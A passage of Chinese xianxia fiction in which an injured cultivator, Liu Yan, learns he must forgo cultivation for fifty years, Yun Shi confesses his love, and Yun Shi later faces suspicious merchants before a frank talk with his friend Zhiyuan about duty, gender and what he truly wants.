起初,似乎并无异样。他的灵识艰难地沉入体内,看到的却是一片前所未见的荒芜景象。曾经奔腾如江河的灵力早已干涸,只留下干裂扭曲的河床。那是他断裂萎缩的经脉。原本金光流转、圆融如意的金丹,此刻黯淡无光,表面布满蛛网般的裂痕,静静悬浮在几乎枯竭的丹田中央,像一颗濒死的灰色石头。 他尝试着,如同推动一块万钧巨石,极其缓慢、极其小心地,从外界引入一丝比发丝还要细弱的灵气,顺着记忆中最为宽阔平顺的一条主脉,意图推动它前行。 就在那丝微弱灵气触及经脉内壁的刹那—— “唔!”流衍身体猛地一僵,如同被最锋利的冰锥从内部狠狠刺穿!那不是简单的疼痛,而是一种混合了湮灭、撕裂、灼烧和冻结的可怕感觉,瞬间从接触点炸开,沿着残破的经络疯狂蔓延,直冲识海!他脸色瞬间惨白如纸,额角青筋暴起,大颗大颗的冷汗顷刻间渗出,浸湿了鬓发。那试图引导的灵识如同撞上铜墙铁壁,被更凶猛的反噬力狠狠弹回,震得他神魂剧颤,眼前发黑,喉头一甜,一股腥甜猛地涌上。 “师兄!”云实一直紧盯着他,见状魂飞魄散,一个箭步冲上前,扶住他剧烈颤抖、几乎要蜷缩起来的身体。他能感觉到掌下身体的肌肉正不受控制地痉挛,冰冷,却又仿佛有诡异的火焰在内里焚烧。 流衍像是耗尽了所有力气,整个人瘫软下去,靠在云实怀里,只剩下破碎的、拉风箱一般的喘息,每一次吸气都带着痛苦的颤音。 “停下!快停下!”手忙脚乱地抚着他的背,却又不敢用力,生怕加剧他的痛苦。 无需他喊,流衍早已无法继续。那尝试仅仅持续了一息不到,带来的却是近乎毁灭性的打击。他靠在云实单薄却坚实的胸膛前,闭着眼,身体止不住地轻颤,除了剧痛,更多的是一种沉入冰窟的、彻底的了然和绝望。 原来……天蕴仙尊的警告,没有半分夸张。他的身体里面,已经变成了一碰即溃的废墟。别说运功修炼,仅仅是引气入体这样一个最基础的动作,都足以引发崩溃,要了他的命。 那一刻,比身体剧痛更甚的,是道心深处传来的、仿佛什么东西彻底碎裂的清脆声响。 接下来两日,流衍异常安静,甚至比刚回小木屋时更甚。他不再尝试任何动作,大多数时间只是闭目躺着,若不是胸口微弱的起伏,几乎像个没有生气的玉雕。云实忧心忡忡,喂药喂饭时,能感觉到他吞咽的动作都带着一种机械的麻木。那口吐出的淤血,像是一个不详的烙印,烙在了两人之间。 第三日清晨,天蕴仙尊带着一位专精医理、头发花白的执事长老,悄然来到了小木屋。云实将人迎进来时,手指无意识地攥紧了衣角。 天蕴看到流衍的状态,眉头便微微蹙起。她没有多问,只是示意那位长老上前检查。长老手指搭在流衍腕脉,一丝极其柔和精纯的灵力小心探入,片刻后,脸上便露出凝重之色。他又查看了流衍的舌苔、眼瞳,甚至请天蕴以神识辅助,细细感应了他丹田金丹的状况。 整个检查过程,流衍异常配合,却也异常沉默,目光空空地望着屋顶。 良久,长老收回手,与天蕴交换了一个眼神,两人走到屋外低声商议了几句。云实跟了出去,站在门边,手心冰凉。 天蕴转身走回屋内,在流衍床前的凳子上坐下。她看着流衍,素来清冷的眸子里含着一丝不忍,但语气依旧是平缓的:“流衍,方才李长老与我,都仔细看过了。” 流衍眼珠微微转动,看向她。 “你体内的情况,比我们之前预估的……更为复杂。”天蕴斟酌着词句,“温言最后一击极为歹毒顽固。强行运转灵力会引发最剧烈的反噬,有性命之忧。” 云实的心直往下沉。 流衍的脸上却没什么表情,只是轻声问:“所以?” 天蕴沉默了一瞬,缓缓道:“以我和长老之见,若要保你性命无虞,避免道基彻底崩溃……在未来相当长的一段时期内,你需彻底放弃主动修炼,不可引气,不可运功,不可动用丝毫灵力。只能依靠最温和的丹药与外力调养,慢慢温补,让身体自行适应、消磨那股残留的异力,或许……待其自然消散,方有一线重新稳固根基的可能。” “相当长……是多久?”流衍的声音很轻,却带着锐利的穿透力。 天蕴避开了他的目光,看向窗棂,声音里透出一丝罕见的艰涩:“保守估计……至少,需五十年静养。五十年内,不可妄动灵力。否则……”她没有说下去,但意思已然明了。 五十年。 这个词像一块沉重的玄冰,砸进小木屋凝滞的空气里。 对于高阶修士而言,五十年或许不算漫长,一次长闭关也就过去了。但对于一个道基被毁、前途断绝、只能像凡人一样躺在病榻上熬日子的人来说,五十年,无异于一场看不到尽头的、缓慢的凌迟。更何况,流衍如今这油尽灯枯的状态,能否安然活过五十年,都是未知之数。 流衍闭上了眼睛,极轻地、仿佛自言自语般说了一句:“……五十年啊。” 那声音里的空茫,让一旁的云实心脏狠狠一揪。 天蕴又交代了一些需要注意的事项,留下了新的、药性更为平和的丹药,便带着长老离开了。小木屋里再次只剩下他们两人。 长久的寂静,仿佛连空气都凝固了。云实看着流衍一动不动地望着房梁的侧影,那身影单薄得仿佛随时会化在光影里。他感到一阵窒息般的心疼,还有一股强烈的、想要做点什么说点什么的冲动。 他笨拙地挪到床边,挨着床沿坐下,犹豫了一下,伸出手,轻轻覆在流衍搁在被子外、冰凉的手指上。 “师兄……”他舔了舔干燥的嘴唇,试图组织语言,“那个……五十年,其实……也没多久,对吧?”他自己都觉得这话苍白无力,但还是要说,“你看,修仙的人,动不动就闭关几十上百年,眼睛一睁一闭就过去了。咱们……咱们就当是闭个长关,养好了,以后……以后再说。” 流衍的手指在他掌心下几不可察地动了一下,却没有抽开。他依旧望着房梁,半晌,才低低地开口,声音飘忽得像是从很远的地方传来:“不一样的,云实。” “哪里不一样?都是过日子……” “最近……不太平。”流衍打断他,终于缓缓转过头,看向云实。 那双曾经清亮坚定、如今却蒙着灰烬的眼睛里,翻涌着云实看不懂的复杂情绪,有绝望,有不甘,更有深重的焦虑。 “师尊飞升前,就曾隐有预感。我虽被禁足,也能察觉到宗内气氛不同往日,各地呈报的异常事件增多。天蕴接掌宗门,看似平稳,实则内外压力重重。她根基尚浅,需要有人帮她分担……” 他顿了顿,声音更涩:“而我……本该是那个站在她身边,替她扛起一部分责任的人。至少,我有能力护住想护的人,查清想查的事,而不是像现在这样……”他目光扫过自己无力垂落的手,又看向云实明显清瘦憔悴了许多的脸颊和眼底的疲惫,“像个废物一样躺在这里,什么都做不了,还要拖累你……” “你没有拖累我!”云实急了,握住他的手紧了紧,“天蕴仙尊很厉害,她能处理好的。你现在的任务就是好好养着,别的什么都别想。” “那我呢?”流衍的声音陡然提高了一丝,带着压抑不住的痛苦和自嘲,“我躺在这里,每天看着你天不亮就起来,忙里忙外,接那些耗神耗力的活计,一刻不得闲,就为了赚那点药钱和家用!看着你明明自己也累得快倒下了,还要强撑着照顾我,琢磨那些不知道有没有用的法子!云实,我不是瞎子!” 他的呼吸急促起来,苍白的脸上因为激动泛起了不正常的红晕:“五十年……你说得轻巧。这五十年,你就打算一直这样过下去吗?为了我这个废人,搭上你全部的时间、精力,甚至……你的以后?” 云实被他激烈的反应震住了,愣愣地看着他眼中翻涌的痛苦。他没想到,流衍沉默的外表下,竟然压着这么重的愧疚和无力感。 小木屋里再次安静下来,只有流衍粗重的喘息声。过了一会儿,那喘息渐渐平复,取而代之的是一种更深、更无奈的疲惫。 “云实,”流衍的声音重新低了下去,带着一种近乎恳求的意味,“你走吧。去找纸鸢,或者……去哪里都好。你有你的手艺,你的天赋,不该困死在这里,陪着我这么一个……没有未来的人耗日子。” 这话像一把钝刀子,狠狠捅进了云实心窝。他先是觉得一股寒意从脚底升起,随即又被更汹涌的情绪取代。他没有松开流衍的手,反而握得更紧,指节都有些发白。 他抬起头,直视着流衍逃避的眼神,一字一句,清晰而坚定地说:“我不走。” “你……”流衍想抽回手,却被云实牢牢握住。 “我喜欢你,流衍。”云实的声音不大,甚至因为紧张而有些发颤,但每一个字都像投入静湖的石子,清晰无比,“不是同情,不是责任,就是喜欢。从……从很久以前,大概就喜欢了。” “所以,我照顾你,我赚钱,我研究那些东西,不是因为我觉得应该,或者觉得欠了你。”他顿了顿,似乎在寻找更准确的表达,“是因为我想这么做。看到你好一点,我就高兴一点。能为你做点什么,哪怕是很小的事,我就觉得……日子有奔头。” “五十年怎么了?”他的语气甚至带上了一点执拗,“五十年就五十年。我们慢慢养,一天天过。你不能运功,我就想办法做点别的,让你不那么闷。赚钱是辛苦,但我和纸鸢合作,还能琢磨新花样,也不全是苦差事。至于以后……以后的事以后再说。但至少现在,在这里,和你一起,就是我乐意过的日子。你别想赶我走,赶我也不走。” 这番直白、笨拙、却又沉重如山的话,彻底击穿了流衍努力维持的平静外壳。他怔怔地望着云实,一时间,千头万绪,五味杂陈,全都堵在胸口,噎得他一个字也说不出来。 他移开了视线,重新望向屋顶,久久没有再出声。只有那微微颤动的睫毛,和逐渐恢复平稳、却依旧显得沉重的呼吸,表明他并未真的沉睡。 云实也没有再说话,就这么静静坐在床边,任由自己的手被他握着。掌心的温度慢慢传递过去,窗外的日光一点点偏移,将两人的影子拉长,交叠在简陋的地板上。 …… 好累啊。 这种累浸到骨头缝里,不光是日夜照料流衍的琐碎耗神,也不仅是趴在案前钻研纹样、赶制订单的枯燥磨损,更像是一种对周遭空气日益粘稠沉重的不自觉吸收。流衍的身体像一口渐渐干涸的深井,无论注入多少温和的药力和他那些粗陋玉简的微弱暖意,回升的速度都慢得令人心焦。而井外,世界正发出某种不详的低鸣。 纸鸢再来时,眉宇间惯常的那点利落爽脆被一层薄薄的凝重压住了。她没带新的坯布,只拎了个朴素的食盒,里面是几样耐放的干粮和一点难得的鲜果。 “我不是来催货的,”她坐下,自己倒了杯凉水,一口饮尽,手指无意识摩挲着粗瓷杯沿,“外面风声不太对。” 云实正在检查流衍腿上新换药膏的情况,闻言动作顿了一下,没回头:“动荡的事?” “不止。”纸鸢声音压低,“魔物侵扰边地村镇,毁了庄稼,死了人,有些地方的流民……反了。不是冲着官府,是冲着了灵兽监放出去清剿、但没能护住他们田舍的那些低阶灵兽和驯化妖物。” 流衍的睫毛颤动了一下。云实直起身,擦净手,走过来坐下:“杀了官家的东西?” “嗯。据说场面很乱,死了几个监吏,灵兽也被泄愤的流民弄死不少。事情捂不住,上面震怒。有传言说,不止要严惩涉事流民,恐怕……要加大征调力度,囤积物资,预备更彻底的清剿,甚至……防着更大的乱子。”纸鸢的指尖在桌上虚划着,“风声一走,人心就慌了。稍微有点门路的都在囤货,尤其是粮食、药材、还有……耐用的布料皮革。市面上但凡跟‘军需’、‘防护’沾点边的,价格都翻了跟头往上蹿。” 她抬眼看向云实:“你走我这里出去的那些货,本来只是在小范围里因为实用有些名气,价格也适中。但这股风一起,它们立刻成了抢手货。尤其是那种……嗯,你改进后带点轻微缓冲纹路的厚实布料,还有后来做的、能稍微均匀散热隔凉的内衬料子。”她没提任何具体的名称,只用功能指代,“现在市面缺货,有心人一比较,发现我铺子里流出的这些东西,在同等价钱里效果出奇地好,甚至不比一些低阶法器材料差太多,还更便宜耐造。追捧的人多了,麻烦就来了。” 云实沉默地听着。他并不意外,乱世将至,或者说已至的边缘,任何能提升一丝存活机会的东西都会被疯抢。 “先是几家有背景的商行想包圆儿我的货源,开价不低,但要求独家,且要见制作者。”纸鸢语速加快,“我按老规矩推了,说匠人性子孤僻,不见外人,货只管从我这里走。他们起初还讲点规矩,只是加价。可后来,见实在撬不开我的嘴,而东西又确实抢手,有些人就坐不住了。现在不是加价的问题,是有人放话,不见到正主儿,就要‘好好查查’这批货的来历,怀疑用料或工艺‘不合规制’,甚至……暗示可能与某些‘不安分’的力量有关联。” 她看了云实一眼,意思很明显,有人想借题发挥,而云实“已死”的身份和与温言、苏妄的纠葛,是最经不起查的痛脚。 “压不住了?”云实问,声音有些干涩。 “硬压或许还能周旋几天,但生意就彻底僵死了,而且会越来越引人疑心。最关键的是,”纸鸢身体微微前倾,“原材料!我常用的几条供应棉麻、普通丝线和矿粉的渠道,都受到了影响。要么被大户高价截流,要么因为产地动荡运不出来。咱们这种小打小闹,在抢货上根本拼不过那些有备而来的。库存在减少,新料进不来,巧妇难为无米之炊。现在不光是外人想见你,连我手下几个知道些许内情、负责加工和分销的老人,心里也慌,也想见见你,讨个准话,或者……看看有没有别的路子。” 她叹了口气:“云实,我知道流衍师兄这里离不开人,也知道你露面有风险。但这次,恐怕真得你亲自去一趟,露个脸,镇一镇场面。不需要你说太多,哪怕只是坐在那儿,让几个核心的人知道真有这么个匠师存在,不是子虚乌有,也能稳住人心,堵住一部分人的嘴。至于原材料……我们一起想想办法,看能不能从更偏、更小的渠道挤一点,或者……调整一下纹样,用更次一等的材料勉强替代。” 屋内的空气仿佛更滞重了。一直闭目似在休息的流衍,不知何时睁开了眼睛,望着房梁,声音轻而稳。 “去吧。”他顿了顿,“总躲着,不是办法。见过,安了他们的心,才好继续藏。” 云实看向流衍。对方的脸依旧没什么血色,但眼神清明,带着一丝不容置疑的决断。他知道流衍说得对。纸鸢的生意是他们目前最重要的经济支柱和情报来源,也是他能为流衍换取相对安稳环境和必需药物的依仗。这条线不能断。 “好。”他没再犹豫,“什么时候?在哪里?” “三天后。地方我来安排,会尽量挑个稳妥的。”纸鸢松了口气,又叮嘱,“你什么都无需准备,人就到就行。穿最普通的衣服,少说话,一切有我。” 接下来的三天,云实心里像绷了根弦。他更细心地照料流衍,将可能用到的物品都放在对方触手可及的地方,又熬夜赶制出两枚他觉得目前水准最好的温养玉简,留给流衍替换。流衍反而显得平静,只在云实临行前,握住他的手腕,力道微弱却坚决:“一切小心。见势不对,立刻走,勿要逞强。” 纸鸢安排的地方,并非在繁华的栖霞镇内,而是在镇外偏僻处一个不起眼的农家院落。表面看是储存山货的仓库,内里却收拾出了一间还算干净宽敞的屋子。 云实到的时候,屋里已经坐了五六个人。光线有些暗,空气中弥漫着旧木料和干草药混杂的气味。纸鸢坐在主位,见他进来,略一点头,并未起身相迎,态度显得有些疏淡,符合一个中间人面对孤僻匠师的礼节。 屋内的其他人目光齐刷刷地聚焦在云实身上。这些面孔有老有少,穿着打扮看似普通,但眼神里都带着商贾特有的精明与打量。云实能感觉到其中几道目光尤为锐利,像是在评估一件货物的价值,又或是在审视什么可疑之处。 他按纸鸢事先嘱咐的,默默走到留给他的、位于纸鸢下首的位子坐下,垂着眼,双手放在膝上,一副沉默寡言、不愿多交流的模样。 “人来了,”纸鸢开口,声音平稳,带着主持局面的淡淡威严,“便是这位。诸位有什么话,可以问了。但他性子如此,能答的答,不能答的,或不愿答的,也请勿要强求。” 短暂的寂静后,一个面相富态、手指戴着硕大玉石戒指的中年男子率先开口,声音洪亮:“这位……师傅,幸会。咱们明人不说暗话,您手里流出来的那些料子,确实有点意思。如今市面上是个什么光景,您想必也知道。咱们几家,是想诚心合作,价钱好商量,只求货能供得上,尤其是那种厚实耐造、带纹路的和那内衬的料子。”他顿了顿,目光炯炯,“不知师傅的作坊,究竟在何处?产量几何?能否再扩一扩?用的……到底是些什么方子?说出来,咱们心里也有底,合作起来才长久嘛!” 云实抬起眼,看了那人一眼,又垂下,摇了摇头,声音不大,但清晰:“祖传的手艺,混口饭吃。地方小,人少,产量就那么多。方子……不外传。” 回答得生硬,毫无转圜余地。 富态男子脸色微微一僵。 另一个干瘦的青年咳嗽一声,慢悠悠道:“师傅手艺精湛,令人佩服。不过,如今世道不太平,什么都缺。尤其是师傅您用的那些料子,棉麻丝线还好,但那掺和进去、让布料有些特殊效果的矿粉,还有调配印染的某些底料……近来可是紧俏得很,价格飞涨不说,还经常断货。不知师傅……可有稳定的来路?若是没有,咱们几家或许可以帮着想想办法,但前提是……得知道师傅到底需要些什么,用量多少。” 云实放在膝上的手指微微蜷缩了一下。 “山里偶然得的,不多,勉强够用。”他含糊道,“底料寻常。” 这个回答显然无法让提问者满意。 第三个开口的是个面色有些阴沉的中年人,他一直没怎么说话,此刻目光像钩子一样锁着云实:“师傅这手艺,看着不像寻常的路数。效果太好,反而让人有些不安。最近城里城外都不太平,有些不该出现的东西也冒了头。咱们做生意的,求财也求稳。师傅总得给咱们透个底,您这手艺,师承何处?做的这些东西,可都‘干净’?别到时候货卖出去了,却惹来官非,牵连大家。” 屋内的气氛陡然紧绷起来。纸鸢的脸色也沉了下去:“王掌柜,你这话是什么意思?货从我家铺子出去,若有问题,自有我纸鸢担着。师傅的手艺来历,莫非还要向你报备不成?” 那王掌柜皮笑肉不笑:“纸鸢掌柜自然信誉卓著。但兹事体大,如今风声紧,小心驶得万年船。这位师傅遮遮掩掩,难免惹人疑窦。咱们投了钱,担了风险,总不能连合作的是何方神圣都不清不楚吧?” 压力像无形的网,朝着云实罩下来。他知道,此刻若再一味强硬拒绝,恐怕真会激化矛盾,甚至让纸鸢也难以转圜。他必须给出一点似是而非、又能暂时安抚人心的东西。 他缓缓吸了口气,再次抬起头,目光扫过屋内众人,最终落在那王掌柜脸上,声音依旧不高,却带着一种刻意营造的、匠人式的执拗与不耐。 “手艺是家里老人传的,后来……自己瞎琢磨改了点。没什么师承,就是摆弄布料年头久了,觉着怎么舒服、怎么结实,就怎么弄。矿粉是托走山货的熟人零星带的,有什么用什么,没定数。东西干净不干净,用了就知道。官府若有说法,自去查验便是。” 他顿了顿,语气转冷,带着一种豁出去的硬气:“诸位若是觉得不妥,不信,那这生意不做也罢。我回去继续做我的,纸鸢掌柜也不必为难。这世道,有手艺,总饿不死。” 说罢,他作势要起身。 这一下,反而让屋内几人有些措手不及。他们是想逼出更多信息,拿捏住这个匠师,而非真要把生意搅黄。眼下这光景,这种质优价廉的特殊布料是实实在在的利润和急需,得罪死了,去哪再找? 纸鸢适时地打圆场,语气带着埋怨:“你看你,还是这个倔脾气!诸位掌柜也是求个心安,毕竟投入不小。”她又转向众人,“师傅的脾气大家也看到了,手艺人是有些古怪。但我纸鸢可以用身家担保,货,绝对没问题,来历也清楚。只是师傅有祖训,也有些不便言说的私人缘故,不愿多提。咱们合作,看的是货,是诚信。如今原料困难,大家更该同舟共济,想办法找新路子,而不是在这里互相猜疑。” 屋内气氛稍缓,但那面色阴沉的王掌柜沉默片刻,脸上挤出一丝略显僵硬的笑,对着云实抱了抱拳:“这位师傅,纸鸢掌柜,方才是我王某言语有些过激了,还请勿怪。实在是这世道,由不得人不谨慎。”他话锋一转,眼神却依旧锐利,“不过,有些话憋在心里,不吐不快,说出来大家参详。不瞒师傅,您做的这些料子,尤其是那种带特殊纹路、效果扎实的,官府工坊……其实也有类似的制品流出,据说是为了应对眼下局面,特供给某些地方戍卫或剿魔队伍的。” 他顿了顿,仔细观察着云实的反应:“可说实话,官家流出来的那些,规模是大,但论起实在效果,比起师傅您手里出来的,总感觉……差了点意思,这就让人不得不奇了怪了,官家汇聚能工巧匠,资源丰厚,怎么做出来的东西,反而不如师傅您这‘祖传手艺、自己瞎琢磨’出来的精到?” 他身体微微前倾,压低了声音,却让每个字都清晰地钻进在场所有人的耳朵:“王某是个粗人,说话直。师傅,您这手艺……该不会是和官家那些方子,有点什么……渊源吧?” 纸鸢脸色一变,正要开口驳斥,云实却抬起手,轻轻止住了她。 他看向王掌柜,脸上没什么表情,既没有被戳破的惊慌,也没有被污蔑的愤怒,只有一种深切的疲惫和某种下定决心的平静。 “王掌柜既然把话说到这个份上,”云实的声音不高,却带着一种奇异的穿透力,“那我也就直说了。你们多少,应该都听过‘温言’这个名字。” 这个名字像一块石头投入寂静的水潭,在座几人脸色都微微一变。四明宗的温言,年纪轻轻身居监察使之位,最近在平息地方骚乱、协调物资补给上颇为活跃,名声不小。 “是他,”云实继续道,语速平缓,仿佛在说一件与己无关的事,“早先逼着我,要把我这套摆弄布料的手艺交出去。他想弄成规模,用到他那些……谋划里去。” “我没全给。” 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那干瘦青年接过话头:“只是坊间也有些微词,说他发放补给,颇有‘章法’。哪里闹得最凶、最引人注目,哪里往往就能多得些实惠;一些偏远苦熬、却默默承受的小地方,反而分润不到多少。倒不像纯粹的行善抚民,反倒……有点像在‘做事’,做给人看。不过这话也就是私下说说,毕竟,甭管心思如何,实打实的粮食衣物到了灾民手里,总归是好事,没人会真个去追究是不是炒作名声。” 这话说得含蓄,但在场都是人精,哪里听不明白。温言的“善举”可能带有强烈的功利性和表演色彩,目的是积累声望和政治资本。但这属于上层人物的游戏规则,只要面子上过得去,没人会深究。 王掌柜再看云实的眼神,就复杂了许多。牵扯到温言,这潭水比他想象的深。眼前这匠师,既是温言曾经逼迫的对象,又能带着“更好的手艺”逃脱,其身份和背后的麻烦,恐怕不小。但反过来想,这也意味着他手里的技艺,恐怕真的有其独特价值,连温言那样的人物都曾图谋。 风险与机遇,往往并存。 “原来……还有这番纠葛。”王掌柜终于叹了口气,脸上的阴沉散去了些,取而代之的是一种审慎的权衡,“师傅也是个不易之人。既然如此,有些话,王某便不再多问。只是这合作……” 纸鸢立刻接过话头,语气坚定:“合作照旧!温言是温言,我们是我们。师傅的手艺来历既然说清,便与官非无涉。如今重要的是共渡难关,找到原料,维持住这条线。诸位掌柜意下如何?” 富态男子率先点头:“纸鸢掌柜说得是!管他上头如何,咱们做咱们的生意。师傅既然信得过纸鸢掌柜,咱们也信得过!” 干瘦青年也缓缓颔首:“非常之时,行非常之事。师傅的手艺难得,眼下正是急需。原料之事,老夫会再多加打听。” 王掌柜最后也点了点头,算是默认。只是他看向云实的目光深处,那抹探究与忌惮,并未完全消失。 会谈持续了近一个时辰,最终勉强达成了一个暂时的共识:纸鸢继续负责销售和协调,云实回去根据可能搞到的新材料调整工艺,几家商户则动用各自关系,尝试开辟新的、更隐蔽的原料小渠道,定期碰头互通消息。 离开那座农家院落时,天色已近黄昏。风里带着深秋特有的、能钻进骨缝的凉意,远处栖霞镇的轮廓在暮色中显得模糊不清,像一块浸了水的墨迹。纸鸢送他出来,两人在寂静的土路上走了一小段,直到那座院子彻底被几棵歪脖老树挡在身后。四下无人,只有风穿过枯枝的呜咽和远处隐约的、不知是犬吠还是什么别的声响。 云实停下脚步,没有立刻往界碑林方向走。他望着远处沉沉的天色,忽然低声说:“纸鸢,陪我走走吧。等天色再暗些,我御物……送你回去。这样安全些。” 纸鸢转过头看他,暮色中她的眼睛亮晶晶的,没有丝毫推拒,反而像是松了口气,嘴角弯起一个真诚的弧度:“太好了,我正想和你好好说说话。这一天,跟那些人绕圈子,脑仁都疼。”她顿了顿,语气转为关切,“你最近……怎么样?真的。家里……都还好吗?” 云实沉默地往前走,脚步落在干燥的土路上,发出沙沙的轻响。过了好一会儿,他才开口,声音平静,却透着一种挥之不去的倦意:“家里……父母已经跟着我弟弟走了。去了京城方向,具体不清楚。” 纸鸢脚步微顿,侧头看他。云实的侧脸在昏暗的光线下显得有些模糊,看不清具体表情,但那份僵硬和沉重,她是能感觉到的。 “你……”她斟酌着词句,“很想把他们带回来,或者……把你弟弟劝回来,是吗?” 云实没有立刻回答。他似乎在很认真地思考这个问题,走了十几步,才缓缓道:“想。做梦都想。看到岭儿那样,看到他信里对温言那种信赖,我心里像被刀子剜。想到爹娘年纪大了,还要颠簸,去一个可能看人脸色、身不由己的地方,我就……”他哽了一下,深吸了口气,“但是,感觉没什么用。我去劝,说什么?说温言包藏祸心?说我才是对的?他们不会信。硬抢?我现在……没那个本事,也怕把他们卷入更危险的境地。好像……除了眼睁睁看着,什么都做不了。” 他最后的话语里,带着浓浓的无力感。 纸鸢轻轻叹了口气,没有安慰,而是问了个似乎有些跳跃的问题:“你之前……不是还一直想着修行,想变强吗?现在怎么看?” “修行……”云实喃喃重复,嘴角扯出一个苦涩的弧度,“如果修行是为了对抗朝廷,或者卷入那种你死我活的争斗,我觉得……没什么意义。我看过流衍的伤,听你们说过外面的乱子。真的打起来,翻天覆地,最后受苦的、死的,不还是我们这样没法飞天遁地的普通人?修行如果只是为了让自己变成更大的、能碾死别人的石头,那和我讨厌的那些人,又有什么区别?” 纸鸢安静地听着,没有反驳。两人不知不觉走到了一条更偏僻的、几乎被荒草淹没的小径上。四野无人,只有风声和越来越浓的暮色。 “云实,”纸鸢忽然开口,声音很轻,却有种穿透暮色的清晰,“你知道我为什么看起来做事总是这么……嗯,这么狠,这么不留情面,一定要把主动权抓在自己手里吗?” 云实看向她,摇了摇头。 纸鸢笑了笑,那笑容里没有多少欢愉,更多的是释然和一点点遥远的酸楚。 “因为我从小,在家里就是个多余的。测出有灵根,但杂得很,修仙没指望。我哥哥,天赋比我还不如,但他是男的,家里就能攒钱、托关系,送他去个小门派当个外门弟子,哪怕一辈子没出息,那也是仙门中人。我呢?他们说,女孩子,识点字,会算账就行了,等着嫁人便是。” 她的语气平平,像是在说别人的事:“后来家里生意出了点问题,需要搭上一条线。对方家世不错,但那个儿子……据说不太成器。家里商量着,要找个人嫁过去巩固关系。他们甚至没当面告诉我对方是谁,长什么样,品性如何,只是我娘偷偷哭,被我撞见了,才隐约知道。” 她踢开脚边一块小石子,“进山那次,去天衡宗应募杂役,是我自己偷偷收拾了东西跑出来的,我跟你说过。我知道机会渺茫,但哪怕只有一丝可能,能抓住一点不属于‘被安排好的命运’的东西,我也要试试。” “还有天蕴仙尊,”纸鸢继续道,语气里带着一种复杂的敬佩,“你以为她喜欢整天处理那些宗门琐事,跟各方势力周旋,平衡这个打压那个吗?她不喜欢。我以前偶尔听流衍师兄提过,她最爱的是清净修炼,钻研体道。但她必须干,而且必须干得漂亮,干得让人挑不出错。因为她是女子接掌了天衡宗,因为她师尊飞升得突然,因为她没有一个强大的家族在背后支撑。她但凡流露出一点疲态,一点犹豫,下面那些长老,外面那些虎视眈眈的人,口水都能把她淹死。如果她不是孤儿,或者她是个男子,她肩上的压力,别人审视的眼光,都会少很多,很多。” 她停下脚步,转身面对着云实,夜色初降,她的眼睛却格外明亮:“云实,我们不是天生就善于经商,善于在夹缝里求存,善于硬着头皮去承担那些让人喘不过气的责任。我们只是……没有退路。退一步,可能就是万丈深渊,就是被打回原形,连自己那一点点可怜的选择权都丢掉。” 她的目光锐利而诚恳,看进云实眼底:“而你,云实,你其实还有退路。你之前因为不是女子,免于被温言用婚姻这种更难挣脱的方式绑住。现在,你又自己琢磨出了这套织理的手艺。你身上有种很奇特的韧性,还有……一种我形容不来的创造力。但如果我们的性别互换呢?” 她假设的情景残酷而真实:“如果我是那个有古怪手艺、能从温言手里逃脱的女师傅,而你是负责出面周旋的中间人。今天在屋里,那些人根本不会多看我几眼,他们所有的试探、压力、诚意,依然会全部冲着你来。他们甚至不会认真考虑和我直接谈条件,因为他们默认真正做主的是男人。这就是我们活着的世道,有时候,看不见的墙壁比看得见的刀剑更让人窒息。” 云实感觉喉咙有些发干。 “我……”他张了张嘴,却发现词穷,“我没想过……现实真的这么……” “这么赤裸裸?”纸鸢替他接上,笑了笑,那笑容里有些许无奈,但更多的是坦然,“所以,云实,我喜欢和你做朋友,真的很喜欢。不仅仅是因为你帮过我,或者我们能合作赚钱。我喜欢的就是你身上这股劲儿,被打趴下还能挣扎着爬起来,在绝境里总能歪歪扭扭地找到一条路,还有你对待东西、对待手艺那种专注和……赤诚。这在很多人身上已经看不到了。” 她话锋一转,语气变得极其认真,甚至带着一种朋友之间罕见的、直接叩问核心的锐利:“但是今天,在经历了这些,听了这些之后,我真的很想问你一个问题。不是问你现在要做什么应付温言,应付生计,照顾流衍。而是抛开所有这些不得不,抛开别人的期待和环境的逼迫。你,云实,内心深处,到底想干什么?有没有那么一件事,是你真正渴望去做的,哪怕它听起来荒谬,哪怕它困难重重?” 夜色完全笼罩下来,稀疏的星子在墨蓝的天幕上显现。四周寂静,这个问题却像投入深潭的石子,在云实心中激起层层波澜。 他想干什么? 这个问题,好像很久很久没有人问过他了。父母只盼他平安,弟弟曾依赖他,流衍需要他,温言想利用他,苏妄……大概只是觉得他有趣。他自己呢?一路被推着,被逼着,挣扎求存,保护所想保护的,似乎已经耗尽了所有心力。 他认真地看着纸鸢,在黑暗中,她的轮廓有些模糊,但那双眼睛里的期待和真诚却清晰可见。 “我也特别喜欢你,纸鸢。”他开口,声音有些哑,但每一个字都说得很慢,很重,“和你做朋友,是我这几年里,最开心、最不后悔的事情之一。我喜欢你看待问题的方式,不怨天尤人,也不自欺欺人,总是能找到那条还能走的路。还有你看待问题的角度,就像刚才你说的那些……让我觉得,原来世界还可以这样去理解。” 他深吸了一口冰凉的空气,努力梳理着自己纷乱的思绪:“我心里其实一直很乱,像一团扯不清的麻。但每次,当我安静下来,手里拿着针线或者刻刀,脑子里胡思乱想的时候,我发现的念头其实都很小,很具体……我想让我身边的人,能过得好一点。让爹娘不用操心布料发霉,让弟弟能安心读书,让流衍……” 他的声音低了下去,带着难以掩饰的疲惫和痛苦:“所以我现在其实特别不好,特别累。我想让你过得好,不想你被那些掌柜为难,但好像我露面反而给你带来了更多猜疑。我想让我的家人过得好,可结果……他们可能正在一种更精致的牢笼里。我想让流衍过得好,我拼尽全力了,但你也看到了,他现在……” 他说不下去,那种无力感再次攫住了他。 “这不怪你。”纸鸢的声音很柔和,却带着力量,“真的,云实。这其实该怪这个修仙的体系,这个把人分三六九等,把资源、机会、甚至话语权都攥在少数人手里的世道。但是,怪世道虽然正确但是没有用。它就在那儿,冷冰冰的,不会因为我们的愤怒和委屈就改变。”她顿了顿,声音低了些,“就像温言。我最恶心他的一点就是,他明明压迫过你,伤害过流衍师兄,可他转手就能用你的技术去安抚流民,博取名声。他把你存在过的痕迹抹掉,却用你的东西去达成他的目的。他看似在捣乱,引发冲突,可又在关键时刻出手平息,发放补偿。我怀疑他根本不是在单纯地制造混乱,他要么是在用这种方式掐灭可能燎原的星火,把动荡控制在一定范围内;要么……就是在用这种‘恩威并施’的手段,悄悄地收拢人心,聚集力量。你说他有野心……他该不会真的在谋划……那个位置吧?” 云实想起温言那双看似温和、深处却冷静到残酷的眼睛。 “应该……不只是野心那么简单。他给我的感觉……像在下一盘很大的棋,所有人,包括那些流民、那些修士、甚至朝廷和宗门,可能都是他棋盘上的子。” 他感到一阵寒意,“真正想干的事情都干不了了……保护不了想保护的人,甚至可能成为别人棋子的一部分。现在……真的只能这样了吗?被推着走,直到再也走不动?” 